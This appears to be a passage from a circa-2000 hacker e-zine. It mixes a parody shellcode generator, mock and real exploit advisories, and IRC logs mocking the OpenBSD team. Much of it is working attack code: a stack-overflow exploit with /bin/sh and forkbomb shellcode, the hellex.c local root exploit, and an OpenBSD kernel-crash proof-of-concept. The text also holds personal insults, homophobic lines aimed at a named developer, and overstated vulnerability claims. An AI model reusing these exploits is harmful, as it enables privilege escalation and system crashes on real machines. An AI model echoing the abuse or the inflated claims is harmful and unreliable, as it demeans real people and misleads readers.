"\x2f\x20\x7c\x20\x5c\x20\x60\x2e\x20\x20\x3a\x0a\x20\x20\x20\x20\x20\x20" "\x27\x2e\x27\x20\x20\x2f\x20\x20\x7c\x20\x20\x5c\x20\x20\x60\x2e\x27\x0a" "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x2f\x20\x20\x20\x7c\x20\x20\x20" "\x5c\x20\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2d\x2e\x5f" "\x5f\x7c\x5f\x5f\x2e\x2d\x27\x0a"; char *clam= "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f" "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x3a\x22\x3a\x5f\x27\x2d\x2e\x2d\x60" "\x5f\x3a\x22\x3a\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x60\x2e\x60\x2e\x5f" "\x27\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x3a\x0a\x20\x20\x20\x20\x20\x20" "\x27\x60\x2e\x60\x2e\x5f\x60\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x27\x0a" "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x60\x2d\x2e\x60\x2d\x2e\x2d\x27\x2e" "\x2d\x27\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2e\x5f\x60" "\x2d\x2e\x2d\x27\x5f\x2e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x60\x27\x27\x27\x60\x0a"; char *scallop= "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x27\x27\x7c\x27" "\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2d\x27\x20\x20" "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x60\x2d\x2e\x0a\x20\x20\x20\x20\x20" "\x20\x2e\x27\x5c\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20" "\x20\x2f\x60\x2e\x0a\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x5c\x20\x20\x20" "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x2f\x20\x20\x20\x60\x2e\x0a\x20" "\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x7c\x20\x20" "\x20\x20\x20\x2f\x20\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x60\x5c" "\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x2f\x20\x20\x20" "\x20\x2f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x60\x5c\x20\x20\x20\x5c\x20" "\x20\x20\x7c\x20\x20\x20\x2f\x20\x20\x20\x2f\x27\x0a\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x60\x5c\x20\x20\x5c\x20\x20\x7c\x20\x20\x2f\x20\x20\x2f" "\x27\x0a\x20\x20\x20\x6a\x67\x73\x20\x20\x5f\x2e\x2d\x60\x5c\x20\x5c\x20" "\x7c\x20\x2f\x20\x2f\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x7b" "\x5f\x5f\x5f\x5f\x5f\x60\x5c\x5c\x7c\x2f\x2f\x27\x5f\x5f\x5f\x5f\x5f\x7d"; void main() { char buf[1024]; printf("Generate shell code for: (solaris/linux/bsd/win32)? "); gets(buf); printf("Generating shell code...\n"); if(strstr(buf,"solaris")) puts(welk); if(strstr(buf,"linux")) puts(ark); if(strstr(buf,"bsd")) puts(clam); if(strstr(buf,"win32")) puts(scallop); printf("done!\n"); } [END_CUT] shellgen.c [CUT_HERE] shellgen.c.adv [TeamSploit Advisory] [Begin PDP-11 SIGNED MESSAGE] TeamSploit labs : http://el8.n3.net Also check out our Security E-ZINE at http://el8.n3.net Hello folks, this is TeamSploit (TM), we have noticed an overflow in shellgen.c . Shellgen.c is an advanced shellcode generator, which is widely used by the 'hacking-community'. Shellgen.c can be found at 1337.tsx.org (Mixter Security *sigh*) Problem: Shellgen.c uses gets (which is very unsafe, so i've heard) ('ld: gets() is unsafe' errors!) A malicious user may obtain SUPER_USER [1] privledges by using the appended exploit. This is a multiplatform vulnerability. If shellgen.c is run setuid root, a user may obtain root privledges thus compromising a system. Example: TSlabs$ ./shellgen Generate shell code for: (solaris/linux/bsd/win32)? 1million i's Segmentation Fault, core dumped. TSlabs$ rm shellgen ; reboot Possible fixes: Use the patch provided by TSlabs (TM). Thurly remove shellgen.c and shellgen binaries from system. TSlabs$ find / -name shellgen.c DO NOT RUN SETUID ROOT! Rewrite libc. [1] SUPERUSER - GOD ACCESS - UID 0 - CAN RM -RF / This has been a TeamSploit advisory, much respect due to: gH (global hell), PERSUiT, f0rpaxe, Team HAckphreak ( and hackphreak labs ), w00w00, ADM, !r00t, b4b0, www.antionline.com, www.deathrowrecords.com. [Appended actual program, possible patch.diff, and exploit] PROGRAM: /* shellcode generator by Mixter PRIVATE - DO NOT DISTRIBUTE! */ char *welk= "\x20\x20\x20\x20\x20\x20\x20\x2f\x5c\x0a\x20\x20\x20\x20\x20\x20\x7b\x2e" "\x2d\x7d\x0a\x20\x20\x20\x20\x20\x3b\x5f\x2e\x2d\x27\x5c\x0a\x20\x20\x20" "\x20\x7b\x20\x20\x20\x20\x5f\x2e\x7d\x5f\x0a\x20\x20\x20\x20\x20\x5c\x2e" "\x2d\x27\x20\x2f\x20\x20\x60\x2c\x0a\x20\x20\x20\x20\x20\x20\x5c\x20\x20" "\x7c\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x7c\x20" "\x20\x2c\x2f\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x5c\x7c\x5f\x2f\x0a"; char *ark= "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f" "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x27\x22\x22\x2e\x27\x2f\x7c\x5c\x60" "\x2e\x22\x22\x27\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x2e\x27\x20" "\x2f\x20\x7c\x20\x5c\x20\x60\x2e\x20\x20\x3a\x0a\x20\x20\x20\x20\x20\x20" "\x27\x2e\x27\x20\x20\x2f\x20\x20\x7c\x20\x20\x5c\x20\x20\x60\x2e\x27\x0a" "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x2f\x20\x20\x20\x7c\x20\x20\x20" "\x5c\x20\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2d\x2e\x5f" "\x5f\x7c\x5f\x5f\x2e\x2d\x27\x0a"; char *clam= "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f" "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x3a\x22\x3a\x5f\x27\x2d\x2e\x2d\x60" "\x5f\x3a\x22\x3a\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x60\x2e\x60\x2e\x5f" "\x27\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x3a\x0a\x20\x20\x20\x20\x20\x20" "\x27\x60\x2e\x60\x2e\x5f\x60\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x27\x0a" "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x60\x2d\x2e\x60\x2d\x2e\x2d\x27\x2e" "\x2d\x27\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2e\x5f\x60" "\x2d\x2e\x2d\x27\x5f\x2e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x60\x27\x27\x27\x60\x0a"; char *scallop= "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x27\x27\x7c\x27" "\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2d\x27\x20\x20" "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x60\x2d\x2e\x0a\x20\x20\x20\x20\x20" "\x20\x2e\x27\x5c\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20" "\x20\x2f\x60\x2e\x0a\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x5c\x20\x20\x20" "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x2f\x20\x20\x20\x60\x2e\x0a\x20" "\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x7c\x20\x20" "\x20\x20\x20\x2f\x20\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x60\x5c" "\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x2f\x20\x20\x20" "\x20\x2f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x60\x5c\x20\x20\x20\x5c\x20" "\x20\x20\x7c\x20\x20\x20\x2f\x20\x20\x20\x2f\x27\x0a\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x60\x5c\x20\x20\x5c\x20\x20\x7c\x20\x20\x2f\x20\x20\x2f" "\x27\x0a\x20\x20\x20\x6a\x67\x73\x20\x20\x5f\x2e\x2d\x60\x5c\x20\x5c\x20" "\x7c\x20\x2f\x20\x2f\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x7b" "\x5f\x5f\x5f\x5f\x5f\x60\x5c\x5c\x7c\x2f\x2f\x27\x5f\x5f\x5f\x5f\x5f\x7d"; void main() { char buf[1024]; printf("Generate shell code for: (solaris/linux/bsd/win32)? "); gets(buf); printf("Generating shell code...\n"); if(strstr(buf,"solaris")) puts(welk); if(strstr(buf,"linux")) puts(ark); if(strstr(buf,"bsd")) puts(clam); if(strstr(buf,"win32")) puts(scallop); printf("done!\n"); } PATCH: TSlabs$ cat TeamSploit_shellgen.c.diff --- shellgen.c Wed Dec 29 22:00:28 1999 +++ new.c Wed Dec 29 23:05:09 1999 @@ -54,7 +54,7 @@ { char buf[1024]; printf("Generate shell code for: (solaris/linux/bsd/win32)? "); -gets(buf); +fgets(buf,80,stdin); printf("Generating shell code...\n"); if(strstr(buf,"solaris")) puts(welk); if(strstr(buf,"linux")) puts(ark); TSlabs$ EXPLOIT: --`cut here`-- /* * * * This is a TeamSploit production * exploit for shellgen.c ( please read the advisory attatched ) * ./shellgen_exp ... * TeamSploit labs : http://el8.n3.net * * */ #include #define THE_OFFSET_IS 256 #define THE_BUFFER_IS 1024 #define LEEWAY 8 unsigned char f00f_shellcode[] = { 0xF0, 0x0F }; unsigned char forkbomb_shellcode[] = { 0xb0, 0x02, 0xcd, 0x80, 0xeb, 0xfa }; unsigned char generic_shellcode[] = { 0x41 }; unsigned char sh_shellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; unsigned char ls_shellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/ls"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void usage(void) { puts("./shellgen (optional)"); puts("1 = f00f"); puts("2 = forkbomb"); puts("3 = generic"); puts("4 = shell"); puts("5 = ls"); exit(31337); } int main(int argc, char *argv[]) { FILE *m1xt3r; unsigned int c, offset; char *prognam, tuff[THE_BUFFER_IS + LEEWAY]; unsigned long addr; if (argc < 3) { usage(); } if (argc < 3) { usage(); } c = atoi(argv[1]); switch (c) { case 1: puts("F00F SHELLCODE CHOSEN"); break; case 2: puts("FORKBOMB SHELLCODE CHOSEN (PREMIUM CHOICE)"); break; case 3: puts("GENERIC SHELLCODE (provided by gH thnx)"); break; case 4: puts("RUN A SHELL (good for when shellgen is +s root)"); break; case 5: puts("LS SHELLCODE (INCASE LS IS BACKDOORED)"); break; default: usage(); } prognam = argv[2]; if (argc >= 4) offset = atoi(argv[3]); else offset = THE_OFFSET_IS; printf("ADDRESS = 0x%x, OFFSET = 0x%x\n", get_sp(), get_sp() + offset); if ((m1xt3r = popen(prognam, "w")) == NULL) { perror("p o p e n"); exit(0); } addr = get_sp(); if (c == 1) { /* f00f shellcode */ for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4) *(unsigned long *) (tuff + c) = addr + offset; memset(tuff, 0x90, THE_BUFFER_IS - strlen(f00f_shellcode)); memcpy(&tuff[THE_BUFFER_IS - strlen(f00f_shellcode)], f00f_shellcode, strlen(f00f_shellcode)); *(tuff + THE_BUFFER_IS + LEEWAY) = 0; } else if (c == 2) { for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4) *(unsigned long *) (tuff + c) = addr + offset; memset(tuff, 0x90, THE_BUFFER_IS - strlen(forkbomb_shellcode)); memcpy(&tuff[THE_BUFFER_IS - strlen(forkbomb_shellcode)], forkbomb_shellcode, strlen(forkbomb_shellcode)); *(tuff + THE_BUFFER_IS + LEEWAY) = 0; } else if (c == 3) { memset(tuff, generic_shellcode[0], sizeof(tuff)); } else if (c == 4) { for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4) *(unsigned long *) (tuff + c) = addr + offset; memset(tuff, 0x90, THE_BUFFER_IS - strlen(sh_shellcode)); memcpy(&tuff[THE_BUFFER_IS - strlen(sh_shellcode)], sh_shellcode, strlen(sh_shellcode)); *(tuff + THE_BUFFER_IS + LEEWAY) = 0; } else if (c == 5) { for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4) *(unsigned long *) (tuff + c) = addr + offset; memset(tuff, 0x90, THE_BUFFER_IS - strlen(ls_shellcode)); memcpy(&tuff[THE_BUFFER_IS - strlen(ls_shellcode)], ls_shellcode, strlen(ls_shellcode)); *(tuff + THE_BUFFER_IS + LEEWAY) = 0; } else usage(); puts("Get ready, we are about to exploit shellgen, hold on tight"); fprintf(m1xt3r, "%s", tuff); if (pclose(m1xt3r) < 0) { perror("pclose"); exit(-1); } return 0; } [END_CUT] shellgen.c.adv [CUT_HERE] hellex_LAMEASSFUCKS.c /* hellex.c - Hellkit 1.2 local linux (x86) exploit by Narrow */ /* Greetz: Legion2000, buffer0verflow and Scrippie (of courz) */ /* Tue May 23 14:04:35 2000 - It doesn't suck much memonry ;-)*/ #include #include #define OFFSETS -500 // Red Hat 6.0 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc,char **argv) { char buf[973]; int offset; if(argc < 2) { offset = OFFSETS; } else { offset = atoi(argv[1]); } memset(buf,0x90,sizeof(buf)); memcpy(buf + sizeof(buf) - strlen(shellcode) - 8, shellcode, strlen(shellcode )); *(long *)&buf[973 - 4] = get_sp() - offset; execl("./driver", "drank-driver", buf); } [END_CUT] hellex_LAMEASSFUCKS.c [END_DIR] shellgen _______________________ .-' `-. [06]| OpenBSD |[06] [06]| by: |[06] [06]| Team Hackphreak |[06] `-._______________________.-' Hello, it is Team Hackphreak again. Today, we will prove how incompetant and lame these OpenBSD retards really are. First, we start off with the original advisory which slammed into bugtraq and packetstorm. Then, we show you a funny email. Next, we will analyze some irc logs which prove the OpenBSD development team are total bafoons. Finally, we will leave you with traderism (aka SSG claiming no responsibility for the advisory). Note to self, my comments will be in *** OBSDCMNT. [BEGIN_DIR] OpenBSD [CUT_HERE] hp2.adv - HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory % - | | | www.hackphreak.org | | | | Version : Hackphreak advisory #2 of many | | Author : RLoxley[hackphreak / condemnation / EHAP / RSH / ZSH (soon)]| | Contributed : All of Team Hackphreak (thanks alot) & SSG | | Topic : A non-privledged user may crash an OpenBSD Operating System,| | thus rendering the system useless. | | Effected : All Operating Systems which use UVM (not MACH VM) | | * OpenBSD | | * NetBSD | | Prvt Release : November 5th, 1998 | | Released : November 5th, 2000 | | Credits : www.hackphreak.org, zsh.interniq.org, www.subterrain.net | | Check Section 1 | | Vender status : Notified | | | - HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory % - Section 1 [Greets]: First and foremost, thanks to team hackphreak and SSG, great job! SSG helped during the researching of the bug (bind, aempire, cripto). This was a coordinated effort with Team Hackphreak and The Hacker Collective known as SSG. I would like to thank RootShellHackers and Team ZSH for rigorously testing on many freenets :] (ratcorpse and her great mass testing scripts, great for analysis: www.sneakerz.org/~rat < great site :) I would like to thank caddis of TESO. He started the whole OpenBSD war. Keep up the good work. Special thanks to Mixter and his TFN2k. It has made my job much easier. I would also like to thank: EHAP, Condemnation, gov-boi (hack.co.za), shinex (yf0rce :), ISS, Solar Designer, #hackphreak, #darknet, #!/bin/zsh, #condemnation, #conf, Al Hugher, Aleph1, and my parents. Section 2 [Preface]: Usually Team HackPhreak keeps our code and research quite private until we give lectures in our channel on undernet (#hackphreak). But what really annoys us, is when a very big figure in the security community acts disrespectful to the people who help build this internet infastructure. This person who I speak of, is Theo de Raadt. Theo de Raadt claims that OpenBSD hasn't experienced a local root hole in the default install for many years. During his internal security audits, they find many bugs, yet they just hide them, patch them, and never notify the public. This is very unethical on the part of the OpenBSD team. I think you guys are lame. What worrys Team Hackphreak, is how many other bugs have gone unnoticed. We have found many other exlpoitable holes in previous OpenBSD distributions, that have miraculously been patched and never revealed. Next, there is the "Three years without a remote hole in the default install". I hope this advisory breaks that aswell, because, technically: * Log into the remote host * Grab our exploit * Crash the kernel This bug is also be exploitable via NFS. Three years without a remote hole? Strike that. Section 3 [Background]: UVM is a new virtual memory system developed which is currently used in the OpenBSD Operating Systems. It is significantly better than the traditional MACH based VM. Section 4 [Problem Description]: There exists a bug in the UVM code which has blatently slipped passed the seemlessly small minded OpenBSD security auditors. The bug exists in the anonymous mapping code in UVM. This bug allows for any local user (or remote user) to crash the entire OpenBSD system, rendering it completely useless. Once the system has crashed, a local user (with access to the terminal) may in fact hack the system. The system drops into DDB (man it). DDB allows for debugging of the actual kernel. When one has access to the kernel, they can do most anything: such as reading disk buffers, reading _copyright, reading network mbuf's. So this scales to a most incredible attack, not just a DoS (if you have read through this you have now more reason to switch to Linux). A very smart attacker will: * Crash the kernel * Assume the location of the box which crashed (@ the colo) * Use DDB to gain god status A layout of the crash dump is given: * trap() * uvm_fault() * uvmfault_amapcopy() * amap_copy() * amap_alloc() ------------------------------------------------------------------ struct vm_amap * amap_alloc(sz, padsz, waitf) vaddr_t sz, padsz; int waitf; /* * amap_alloc: allocate an amap to manage "sz" bytes of anonymous VM * * => caller should ensure sz is a multiple of PAGE_SIZE * => reference count to new amap is set to one * => new amap is returned unlocked */ { struct vm_amap *amap; int slots, padslots; UVMHIST_FUNC("amap_alloc"); UVMHIST_CALLED(maphist); AMAP_B2SLOT(slots, sz); /* load slots */ AMAP_B2SLOT(padslots, padsz); ------------------------------------------------------------------ The kernel crashes in the first instance of AMAP_B2SLOT(slots, sz). ------------------------------------------------------------------ #define AMAP_B2SLOT(S,B) { \ if ((B) & (PAGE_SIZE - 1)) \ panic("AMAP_B2SLOT: invalid byte count"); \ (S) = (B) >> PAGE_SHIFT; \ } ------------------------------------------------------------------ Basically, if the (sz & (PAGE_SIZE-1)) is true, the kernel panic()'s. Not so cool Mr. Theo, my grandmother wouldn't even have done something so stupid and all she has is an A+ and CCNA! As aempirei, bind, and cripto pointed out: Even if AMAP_B2SLOT() is patched, the bug will still exist, hence forth because later on down the yellow brick road, the kernel will crash in routines such as: * amap_splitref() * amap_lookup() So a hacker will still be able to obtain root access. No thanks to obecian for notifying Theo a wee bit early. Section 4 [The exploit]: // PUBLIC RELEASE // // krnl-DoS.c by RLoxley of Team Hackphreak (#hackphreak on unet) & SSG // // This exploit is proof of concept code. It exploits the UVM bug in // all OpenBSD kernels. It can also be used to gain god access via // ddb during the crash recovery phase of OpenBSD's security structure. // // Greets: #hackphreak, RootShellHackers, ZSH (#!/bin/zsh), EHAP, // Condemnation, caddis[TESO], Solar Designer, gov-boi, // #darknet, ISS, #conf, Al Hugher, Aleph1, shinex (for porting) // SSG, www.subterrain.net // // PS: The exploit is broke very slightly, so this takes some knowledge ;) // // PUBLIC RELEASE #include #include #include #include #include #include #include #include #define CRASH_FILE "./f0rKb0mB" extern int errno; int main(int argc, char *argv[]) { struct exec *ehdr; struct stat statbuf; int fd; unsigned char *data; fd = open(argv[0], O_RDONLY); if (fd < 0) { perror("main() : open(argv[0]) "); exit(-1); } if (fstat(fd, &statbuf) < 0) { perror("main() : fstat() "); exit(-1); } data = (unsigned char *) malloc(statbuf.st_size); if (data == NULL) { perror("main() : malloc() "); exit(-1); } if (read(fd, data, statbuf.st_size) <= 0) { puts("main() : read() Failure"); exit(-1); } ehdr = (struct exec *) data; close(fd); unlink(CRASH_FILE); fd = open(CRASH_FILE, O_RDWR | O_CREAT, S_IXUSR); if (fd < 0) { perror("main() : open(CRASH_FILE) "); exit(-1); } ehdr->a_data += 3; if (write(fd, data, statbuf.st_size) < 0) { perror("main() : write() "); exit(-1); } close(fd); if (execlp(CRASH_FILE, NULL) < 0) { perror("main() : execlp() "); exit(-1); } return (0); } Section 5 [TO HELL WITH YOU'S]: Theo de Raadt and the OpenBSD Team Paedophiles Rascists All of #kkk on undernet All of the people who disturb my channel BoW frys / prophet b0g Scriptkiddies all over the place obecian Section 6 [Come 1 Come ALL]: Team Hackphreak invites you to undernet #hackphreak for a great learning experience. Just join us to teach and learn. But remember, HARASSMENT = BAN. www.hackphreak.org/newbie. Section 7 [Lies]: I hope this advisory brings you closer to NT / Linux, rather than OpenBSD. Linux & NT are way better anyway. [END_CUT] hp2.adv [CUT_HERE] funny_eMale From: "Condemned.org" To: "John Kerbawy" References: <20001105173302.A27901@maKintosh.com> Subject: Re: webpage. Date: Sun, 5 Nov 2000 19:24:20 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 not sure what you are thinking, but that is PERFECT grammer. RL ----- Original Message ----- From: "John Kerbawy" To: Sent: Sunday, November 05, 2000 6:33 PM Subject: webpage. > Someone is missing grammar clue. > > ---- http://www.hackphreak.org/rules/ ---- > > 4: NO ADVERTISING IN THE CHANNEL OR IT'S TITLE BAR. > ^^^^ > > No advertising in the channel or it is title bar? > > oops. > > __ > John Kerbawy > [END_CUT] funny_eMale [CUT_HERE] irclogs \xf9\xed\xf9 Starting logfile IrcLog \xf9\xed\xf9 Topic (#openbsd): http://www.OpenBSD.org \xf9\xed\xf9 Topic (#openbsd): set by john at Sat Nov 4 19:06:39 2000 \xf9\xed\xf9 [Users(#openbsd:63)] [ ~el8 ] [ opcode ] [ influx_ ] [ carica ] [ Intrinsic ] [ niekze ] [ slipdisc ] [ kahl ] [@obecian ] [ pdo ] [ sizaym ] [ GoatBoy ] [ cell ] [@toor ] [@jeremie ] [ binfalse ] [@Ambrose ] [ [rew] ] [ desti ] [ mollusk ] [@dhartmei ] [ motorola- ] [ bn- ] [ loxariz ] [ _preD ] [ StJohn ] [ gk ] [@Figz ] [ nj ] [ marc ] [@hydro__ ] [@ActivatE ] [ joe- ] [ danp ] [@fx ] [ ~el8 ] [ phidias ] [ Setzer ] [ bugoid ] [@uux- ] [ tibim ] [ J0hnBlaze ] [ Slower ] [ sariel ] [@john ] [ genecyst ] [ mogambo ] [ rwxr--r-- ] [ majidf ] [ jwit ] [ GreyFoxx ] [ TAiNiUM ] [@SmooveB ] [ [frank] ] [ jethro ] [ ratcorpse ] [ cazz ] [ kajar ] [ malte__ ] [ ar ] [ Creamore ] [ _mojo ] [@spuug ] [ rys ] \xf9\xed\xf9 [Users(#openbsd:0)] \xf9\xed\xf9 ~el8 [~el8@~el8.com] has joined #openbsd m3th: no clue.. running current? 2.7 yes 2.7 stable or openbsd-current? \xf9\xed\xf9 SignOff m3th: #OpenBSD (Read error 73: Connection reset by peer) \xf9\xed\xf9 m3th [meth@bofh.bestweb.net] has joined #openbsd let me find a similar system, see if i can find the file \xf9\xed\xf9 ^BBitchX^B: You are now talking to channel #Openbsd \xf9\xed\xf9 ~el8 [~el8@~el8.net] has joined #openbsd <~el8> Hello, I was wondering if there is a patch for the local root exploit fo r OpenBSD (the one on packetstorm) ? And is it remote ? \xf9\xed\xf9 laggn [operand@1Cust5.tnt2.roanoke.va.da.uu.net] has joined #openb sd <~el8> It says 'Vendor notified' <~el8> And I don't see any vendor patches.. when i go to the ftp mirrors and cd 2.8 there are no install files..is there an ftp that i can go to that has the 2.8 install files? [cell_X(blah@38.195.196.53)] just strip off the suid bit ~el8: hold on | rys (rys@supernal.godsey.net) (Internic Network) \xb3 ircname : Joe | channels : #openbsd #Icons_of_Vanity \xb3 server : irc.west.gblx.net (Global Crossing West Client Server) | away : rys - gone : idle : 0 hours 0 mins 10 secs (signon: Sun Nov 5 11:54:14 2000) hi all ~el8: which one? libutil was fixed long ago. rys: there aren't any. ~el8 are you talking about the /usr/bin/chpass issue..do chmod u-s /us r/bin/chpass rys: i'm running 2.8 and i got it out of the snapshots dir <~el8> Nope <~el82> i see an advisory on the front page of packetstorm rys : yes, i see it there :) <~el8> ~el82, yes, that is what I speak of <~el8> I don't quite understand it, to tell you the truth grr..wrong answer.. =) ~el82: url? <~el82> packetstorm.securify.com <~el83> theo is gay <~el83> theo is gay <~el83> theo is gay yes he is but this channel is about openbsd not theo just kidding \xf9\xed\xf9 ~el83 [~el83@~el83.net] has left #openbsd [] <~el82> i dunnno \xf9\xed\xf9 SignOff Brandon`: #Phrack () \xf9\xed\xf9 mode/#openbsd [+b *!*@*.eurocompton.net] by dhartmei uh ~el82: where do you see obsd mentioned there? link to the specific a rticle? from what i hear, theo's somewhat crabby. http://packetstorm.securify.com/0011-exploits/hp2.adv theo is not gay. theo is somewhat crabby bit my head off like 1 1/2 years ago <~el82> dhart: rys pasted | dhartmei (~dhartmei@cable-ggar48-183.intergga.ch) (Switzerland) \xb3 ircname : Daniel Hartmeier | channels : @#openbsd #compsci @#unixhelp #atheism @#C++ @#c/c++ @#cryptonomic on @#informatik \xb3 server : irc.light.se (It's alive, it's AAALIIIIVEEE) *** OBSDCMNT : ke4p n0te of th1z guy hez supr l4me *** DesertFox : exploit using ddb regarding that sploit on packetstorm, obviously the author doesn't know w hat a "local root exploit" is hmm...the advisory insults openbsd, and says NT and Linux are bette r. a local root exploit is not the ability to "crash the kernel" \xf9\xed\xf9 SignOff m3th: #OpenBSD (Read error 73: Connection reset by peer) christ i could do that with a fork bomb *** OBSDCMNT : u k0uld r00t obsd w/ a f0rkb0mb ? *** \xf9\xed\xf9 dew_freak [~dewfreak@ws037.bt.reshall.wwu.edu] has joined #openbsd ...rloxley..is that supposed to be robin loxley as in robin hood? rys: perhaps the advsory is fake? \xf9\xed\xf9 SignOff binfalse: #OpenBSD (Ping timeout: 180 seconds) rys: otherwise the author likes to bs everything. the author says that after crashing you can use ddb to debug and gain acc ess DesertFox : im having a hard time finding it on the athor's site..do y ou have a url? \xf9\xed\xf9 SignOff [rew]: #OpenBSD (irc^BN^B 7.24 + 7.0 for mIRC (2000/03/17 22.00)) which is dumb because the system won't drop to ddb unless you have it set up to do so plus, if you have physical access to the box you can boot -s and then change the root password.. laggn: didn't see a url... so.. DesertFox : they list themselves as coming from hackphreak.org but ther e is nothing on that site rys: you have to HAVE physical access to use ddb right? laggn: perhaps the advisory is a hoax? DesertFox: after a kernel crash, i do believe so, unless we're talking ab out the sparc version and you have a remote console via a console server rys: never seen a sparc, never used a spark... oops, "sparc" \xf9\xed\xf9 nikhouri [nikhouri@hyrule.student.syr.edu] has joined #openbsd sparcs have the ability to use a com port as console instead of a monitor /keyboard DesertFox : i don't know..i mean, they don't have anything on their sit e (it reads like a corp. brochure), and whats the difference between this and b ooting -s? laggn: um...it requires crashing the kernel? \xf9\xed\xf9 SignOff dhartmei: #OpenBSD (Read error: 54 (Connection reset by pe er)) laggn: probably nothing.. the advisory mentions that you'll need to have physical access..which is quite lame. therefore, this advisory is... \xf9\xed\xf9 dhartmei [~dhartmei@cable-ggar48-183.intergga.ch] has joined #open bsd pretty much harmless <~el81> Doesn't seem harmless if any user can crash my OpenBSD though, damnit DesertFox : i guess the code needs to be tested and we'll find out its validity (regardless of how convoluted it is) well, it crashes 2.7 release :) ~el81: any user can crash your openbsd.. fork bomb baby \xf9\xed\xf9 mode/#openbsd [+o dhartmei] by Ambrose rys: true, but setting proccess limits could prevent that. a user c an crash any os that way anyhow heh <~el81> What about fork bomb protection? spuug: kdb? dhartmei: what about 2.8? don't have a -current system ready to test <~el82> it crashed my 2.6 box.... ~el81: try setting a ulimit <~el81> Yeah I tested on all of my OpenBSD & one NetBSD, crashed them \xf9\xed\xf9 SignOff pent: #OpenBSD 